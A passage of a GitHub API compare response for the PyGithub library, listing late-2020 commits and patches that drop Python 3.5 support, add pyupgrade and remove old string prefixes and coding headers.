657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"status":"ahead","ahead_by":10,"behind_by":0,"total_commits":10,"commits":[{"sha":"fab682a5ccfc275c31ec37f1f541254c7bd780f3","node_id":"MDY6Q29tbWl0MzU0NDQ5MDpmYWI2ODJhNWNjZmMyNzVjMzFlYzM3ZjFmNTQxMjU0YzdiZDc4MGYz","commit":{"author":{"name":"Pascal Hofmann","email":"mail@pascalhofmann.de","date":"2020-11-30T07:53:59Z"},"committer":{"name":"Pascal Hofmann","email":"mail@pascalhofmann.de","date":"2020-11-30T07:53:59Z"},"message":"Fix stubs file for Repository","tree":{"sha":"33a9a785fd98dc79d1033ef2e49f30e2282246f0","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/33a9a785fd98dc79d1033ef2e49f30e2282246f0"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/fab682a5ccfc275c31ec37f1f541254c7bd780f3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fab682a5ccfc275c31ec37f1f541254c7bd780f3","html_url":"https://github.com/PyGithub/PyGithub/commit/fab682a5ccfc275c31ec37f1f541254c7bd780f3","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fab682a5ccfc275c31ec37f1f541254c7bd780f3/comments","author":{"login":"pascal-hofmann","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/pascal-hofmann","html_url":"https://github.com/pascal-hofmann","followers_url":"https://api.github.com/users/pascal-hofmann/followers","following_url":"https://api.github.com/users/pascal-hofmann/following{/other_user}","gists_url":"https://api.github.com/users/pascal-hofmann/gists{/gist_id}","starred_url":"https://api.github.com/users/pascal-hofmann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pascal-hofmann/subscriptions","organizations_url":"https://api.github.com/users/pascal-hofmann/orgs","repos_url":"https://api.github.com/users/pascal-hofmann/repos","events_url":"https://api.github.com/users/pascal-hofmann/events{/privacy}","received_events_url":"https://api.github.com/users/pascal-hofmann/received_events","type":"User","site_admin":false},"committer":{"login":"pascal-hofmann","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/pascal-hofmann","html_url":"https://github.com/pascal-hofmann","followers_url":"https://api.github.com/users/pascal-hofmann/followers","following_url":"https://api.github.com/users/pascal-hofmann/following{/other_user}","gists_url":"https://api.github.com/users/pascal-hofmann/gists{/gist_id}","starred_url":"https://api.github.com/users/pascal-hofmann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pascal-hofmann/subscriptions","organizations_url":"https://api.github.com/users/pascal-hofmann/orgs","repos_url":"https://api.github.com/users/pascal-hofmann/repos","events_url":"https://api.github.com/users/pascal-hofmann/events{/privacy}","received_events_url":"https://api.github.com/users/pascal-hofmann/received_events","type":"User","site_admin":false},"parents":[{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810"}]},{"sha":"9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5ZWUzYWZiMTcxNmM1NTlhMGIzYjQ0ZTA5N2MwNWY0YjE0YWUyYWI4","commit":{"author":{"name":"Pascal Hofmann","email":"mail@pascalhofmann.de","date":"2020-11-30T11:27:48Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-11-30T11:27:48Z"},"message":"Merge pull request #1767 from pascal-hofmann/fix-repository-stubs\n\nFix stubs file for Repository","tree":{"sha":"33a9a785fd98dc79d1033ef2e49f30e2282246f0","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/33a9a785fd98dc79d1033ef2e49f30e2282246f0"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfxNc0CRBK7hj4Ov3rIwAAdHIIAJb9YeSv3LLlSy7Nr4nILkyn\nMqrW9cvtvnqAH81QtuHlEKShsh33hbKmx9On1lxj7VcRBiB/6cLpAEUJowq0A4zt\n341cVH9+0mbmq+eG1c5vE/vTzq5Uu2mUpvjQ89ssyEvkQ/lIvOEBNAWwJSNwQOc0\n1LcGW1OEh+xmK7SxwvPXxE6aXjBgG8wv0WtFxmhlLoDzvwPymf9qM4/eq2UF6TmU\nzMop0xhv7Kkls626P0HN7wklupth8zaOAJO9vtn8m25sZoZ8XRr2KIX9gAV6jCLW\nuV0GFogjfpya9BVCa7Lh5o6m29ruyTgqIok4rPbZA8aDhQImq243PgP1reVinok=\n=Fepr\n-----END PGP SIGNATURE-----\n","payload":"tree 33a9a785fd98dc79d1033ef2e49f30e2282246f0\nparent 951fcdf23f8c657b525dee78086bc4dfd42ef810\nparent fab682a5ccfc275c31ec37f1f541254c7bd780f3\nauthor Pascal Hofmann 1606735668 +0100\ncommitter GitHub 1606735668 +0100\n\nMerge pull request #1767 from pascal-hofmann/fix-repository-stubs\n\nFix stubs file for Repository"}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","html_url":"https://github.com/PyGithub/PyGithub/commit/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8/comments","author":{"login":"pascal-hofmann","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/pascal-hofmann","html_url":"https://github.com/pascal-hofmann","followers_url":"https://api.github.com/users/pascal-hofmann/followers","following_url":"https://api.github.com/users/pascal-hofmann/following{/other_user}","gists_url":"https://api.github.com/users/pascal-hofmann/gists{/gist_id}","starred_url":"https://api.github.com/users/pascal-hofmann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pascal-hofmann/subscriptions","organizations_url":"https://api.github.com/users/pascal-hofmann/orgs","repos_url":"https://api.github.com/users/pascal-hofmann/repos","events_url":"https://api.github.com/users/pascal-hofmann/events{/privacy}","received_events_url":"https://api.github.com/users/pascal-hofmann/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810"},{"sha":"fab682a5ccfc275c31ec37f1f541254c7bd780f3","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fab682a5ccfc275c31ec37f1f541254c7bd780f3","html_url":"https://github.com/PyGithub/PyGithub/commit/fab682a5ccfc275c31ec37f1f541254c7bd780f3"}]},{"sha":"a806b5233f6423e0f8dacc4d04b6d81a72689bed","node_id":"MDY6Q29tbWl0MzU0NDQ5MDphODA2YjUyMzNmNjQyM2UwZjhkYWNjNGQwNGI2ZDgxYTcyNjg5YmVk","commit":{"author":{"name":"Sébastien Besson","email":"seb.besson@gmail.com","date":"2020-11-30T23:17:18Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-11-30T23:17:18Z"},"message":"Revert \"Pin requests to <2.25 as well (#1757)\" (#1763)\n\n* Revert \"Pin requests to <2.25 as well (#1757)\"\r\n* Ensure httpretty is more recent than 1.0.3\r\n\r\nThis reverts commit d159425f36dc7f68766cc980e262e9287e5f111c.","tree":{"sha":"b33c2872fb923bf90b2a594aa3cd5b1898d1fc65","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b33c2872fb923bf90b2a594aa3cd5b1898d1fc65"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a806b5233f6423e0f8dacc4d04b6d81a72689bed","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfxX1+CRBK7hj4Ov3rIwAAdHIIAAqZsjeHvnQx2UVmlIqZaucp\naHuoyFp/5P+fgz/oKRnsINmmUcBdcjyLv0qXmgda3g87X9sx7fJh7DDK7MTlw5Ka\n07T/pY8+spaZfm7mVCVp7bh7741AE0tx/Gi2MhI6LPtFMHyCmy9ljeWCrMBvtPDc\naggmA8iGbp8XJ6ln++w2EATwyY9bxelWNgy0cwM7R1Eas/5NtVInETcCf+i9cJ3u\n5ONRvnV9oWFnd3LLD2lxJb2A2STX/IZ4WmXrFj6cb8bWwXJPfvlyK9f97H65+2/k\nRefP5cIfgdRGbd7Le71A90q3PFOpvzTMS+YGrF+l4H1OZ+t3AnqL/H2GzXHFYWY=\n=Dqlm\n-----END PGP SIGNATURE-----\n","payload":"tree b33c2872fb923bf90b2a594aa3cd5b1898d1fc65\nparent 9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8\nauthor Sébastien Besson 1606778238 +0000\ncommitter GitHub 1606778238 +1100\n\nRevert \"Pin requests to <2.25 as well (#1757)\" (#1763)\n\n* Revert \"Pin requests to <2.25 as well (#1757)\"\r\n* Ensure httpretty is more recent than 1.0.3\r\n\r\nThis reverts commit d159425f36dc7f68766cc980e262e9287e5f111c."}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a806b5233f6423e0f8dacc4d04b6d81a72689bed","html_url":"https://github.com/PyGithub/PyGithub/commit/a806b5233f6423e0f8dacc4d04b6d81a72689bed","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a806b5233f6423e0f8dacc4d04b6d81a72689bed/comments","author":{"login":"sbesson","id":1355463,"node_id":"MDQ6VXNlcjEzNTU0NjM=","avatar_url":"https://avatars.githubusercontent.com/u/1355463?v=4","gravatar_id":"","url":"https://api.github.com/users/sbesson","html_url":"https://github.com/sbesson","followers_url":"https://api.github.com/users/sbesson/followers","following_url":"https://api.github.com/users/sbesson/following{/other_user}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","organizations_url":"https://api.github.com/users/sbesson/orgs","repos_url":"https://api.github.com/users/sbesson/repos","events_url":"https://api.github.com/users/sbesson/events{/privacy}","received_events_url":"https://api.github.com/users/sbesson/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8","html_url":"https://github.com/PyGithub/PyGithub/commit/9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8"}]},{"sha":"63e4fae997a9a5dc8c2b56907c87c565537bb28f","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo2M2U0ZmFlOTk3YTlhNWRjOGMyYjU2OTA3Yzg3YzU2NTUzN2JiMjhm","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-12-02T03:47:45Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-12-02T03:47:45Z"},"message":"Drop support for Python 3.5 (#1770)\n\nIn preperation for starting to use 3.6+ only features, stop testing\r\nPython 3.5 in our CI, and bump our minimum required version.","tree":{"sha":"fde51c1aa322cbdd646e1677d1e69fb9d0457ae7","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fde51c1aa322cbdd646e1677d1e69fb9d0457ae7"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/63e4fae997a9a5dc8c2b56907c87c565537bb28f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfxw5hCRBK7hj4Ov3rIwAAdHIIADWSUehbe2GbpLdhBVQY2SZ2\nAm1ACkzu6AMNG2AfrSVrd2e8mnOUt/BEIIGT+MHxKLTbApDuEo5m7DnIs/zJJUDw\n67eDlQySTP72UHMnZNukELGffNdhQDuZh9K6SeAn/C+qS/UwrTpUo/Zk6u9joVkm\nxbgMGutpg/gi+NYDaPxwHvqlXrFyB2zLrnF/jsRIYNqvJ1XPmgPSHZ2s54ivGLep\npKqGvyA92knGAnL8PZpy6d7pbyx8DWAgGokpP3Bgm3W8YuFNPX/25d81V5RTwUHs\n4pGREUyooUHz2yjARTTwvGWXH+1KwwmRCfGkSPmNMzJYoJkeGkgNAPRLHEbgdhk=\n=n01c\n-----END PGP SIGNATURE-----\n","payload":"tree fde51c1aa322cbdd646e1677d1e69fb9d0457ae7\nparent a806b5233f6423e0f8dacc4d04b6d81a72689bed\nauthor Steve Kowalik 1606880865 +1100\ncommitter GitHub 1606880865 +1100\n\nDrop support for Python 3.5 (#1770)\n\nIn preperation for starting to use 3.6+ only features, stop testing\r\nPython 3.5 in our CI, and bump our minimum required version."}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/63e4fae997a9a5dc8c2b56907c87c565537bb28f","html_url":"https://github.com/PyGithub/PyGithub/commit/63e4fae997a9a5dc8c2b56907c87c565537bb28f","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/63e4fae997a9a5dc8c2b56907c87c565537bb28f/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"a806b5233f6423e0f8dacc4d04b6d81a72689bed","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a806b5233f6423e0f8dacc4d04b6d81a72689bed","html_url":"https://github.com/PyGithub/PyGithub/commit/a806b5233f6423e0f8dacc4d04b6d81a72689bed"}]}],"files":[{"sha":"9abd22d1d5f4695912c1853cc8fb19eb15aacddc","filename":".git-blame-ignore-revs","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/.git-blame-ignore-revs","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/.git-blame-ignore-revs","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/.git-blame-ignore-revs?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -6,3 +6,6 @@\n \n # Format with new black\n 07e29fe014b7e214e72b51129fbef55468a7309d\n+\n+# Add pyupgrade to pre-commit\n+e113e37de1ec687c68337d777f3629251b35ab28"},{"sha":"38fe00ef7c4345da1fcd6da1d98cb19be523a7cd","filename":".github/workflows/ci.yml","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/.github%2Fworkflows%2Fci.yml","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/.github%2Fworkflows%2Fci.yml","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/.github%2Fworkflows%2Fci.yml?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -9,7 +9,7 @@ jobs:\n name: test (Python ${{ matrix.python-version }})\n strategy:\n matrix:\n- python-version: [3.5, 3.6, 3.7, 3.8, 3.9]\n+ python-version: [3.6, 3.7, 3.8, 3.9]\n steps:\n - uses: actions/checkout@v2\n - name: Set up Python"},{"sha":"e18dd1f992e60b0460831fdf3d64fe9511cd45dc","filename":".pre-commit-config.yaml","status":"modified","additions":6,"deletions":0,"changes":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/.pre-commit-config.yaml","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/.pre-commit-config.yaml","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/.pre-commit-config.yaml?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -24,3 +24,9 @@ repos:\n args:\n - --ignore-words-list=\"bloaded,nto,pullrequest,pullrequests,thi,tim,wan,Wan,chang,Chang\"\n - --quiet-level=2\n+ - repo: https://github.com/asottile/pyupgrade\n+ rev: v2.7.4\n+ hooks:\n+ - id: pyupgrade\n+ args:\n+ - --py36-plus"},{"sha":"43d33319fa66a12c3ecf956884e5a606b0430d6c","filename":"doc/changes.rst","status":"modified","additions":10,"deletions":0,"changes":10,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/doc%2Fchanges.rst","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/doc%2Fchanges.rst","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/doc%2Fchanges.rst?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -4,6 +4,16 @@ Change log\n Stable versions\n ~~~~~~~~~~~~~~~\n \n+Version 1.54.1 (December 24, 2020)\n+-----------------------------------\n+\n+* Pin pyjwt version (#1797) (31a1c007)\n+* Add pyupgrade to pre-commit configuration (#1783) (e113e37d)\n+* Fix #1731: Incorrect annotation (82c349ce)\n+* Drop support for Python 3.5 (#1770) (63e4fae9)\n+* Revert \"Pin requests to <2.25 as well (#1757)\" (#1763) (a806b523)\n+* Fix stubs file for Repository (fab682a5)\n+\n Version 1.54 (November 30, 2020)\n -----------------------------------\n **Important**"},{"sha":"b8187945593d83a2e6003075064f3e7f3f6cdebd","filename":"doc/conf.py","status":"modified","additions":6,"deletions":8,"changes":14,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/doc%2Fconf.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/doc%2Fconf.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/doc%2Fconf.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -61,8 +59,8 @@\n master_doc = \"index\"\n \n # General information about the project.\n-project = u\"PyGithub\"\n-copyright = u\"%d, Vincent Jacques\" % datetime.date.today().year\n+project = \"PyGithub\"\n+copyright = \"%d, Vincent Jacques\" % datetime.date.today().year\n \n # The version info for the project you're documenting, acts as replacement for\n # |version| and |release|, also used in various other places throughout the\n@@ -204,7 +202,7 @@\n # Grouping the document tree into LaTeX files. List of tuples\n # (source start file, target name, title, author, documentclass [howto/manual]).\n latex_documents = [\n- (\"index\", \"PyGithub.tex\", u\"PyGithub Documentation\", u\"Vincent Jacques\", \"manual\"),\n+ (\"index\", \"PyGithub.tex\", \"PyGithub Documentation\", \"Vincent Jacques\", \"manual\"),\n ]\n \n # The name of an image file (relative to this directory) to place at the top of\n@@ -232,7 +230,7 @@\n \n # One entry per manual page. List of tuples\n # (source start file, name, description, authors, manual section).\n-man_pages = [(\"index\", \"pygithub\", u\"PyGithub Documentation\", [u\"Vincent Jacques\"], 1)]\n+man_pages = [(\"index\", \"pygithub\", \"PyGithub Documentation\", [\"Vincent Jacques\"], 1)]\n \n # If true, show URL addresses after external links.\n # man_show_urls = False\n@@ -247,8 +245,8 @@\n (\n \"index\",\n \"PyGithub\",\n- u\"PyGithub Documentation\",\n- u\"Vincent Jacques\",\n+ \"PyGithub Documentation\",\n+ \"Vincent Jacques\",\n \"PyGithub\",\n \"One line description of project.\",\n \"Miscellaneous\","},{"sha":"f2fb64f468b5abcb93635bc849d69092f48a78e3","filename":"github/AccessToken.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAccessToken.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAccessToken.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FAccessToken.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Rigas Papathanasopoulos #"},{"sha":"2d1f81d920743a0ba33c078ba430283d5d8b6bc6","filename":"github/ApplicationOAuth.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FApplicationOAuth.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FApplicationOAuth.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FApplicationOAuth.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ###########################\n # #\n # Copyright 2019 Rigas Papathanasopoulos #\n@@ -75,7 +73,7 @@ def get_login_url(self, redirect_uri=None, state=None, login=None):\n parameters = urllib.parse.urlencode(parameters)\n \n base_url = \"https://github.com/login/oauth/authorize\"\n- return u\"{}?{}\".format(base_url, parameters)\n+ return f\"{base_url}?{parameters}\"\n \n def get_access_token(self, code, state=None):\n \"\"\""},{"sha":"58a5c5d6e933a4451a4a3f3babb204abb580d0b8","filename":"github/AuthenticatedUser.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthenticatedUser.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthenticatedUser.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FAuthenticatedUser.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"bbddd170d0663ac6a1151b2eb87924f6d531c488","filename":"github/Authorization.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthorization.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FAuthorization.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FAuthorization.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques 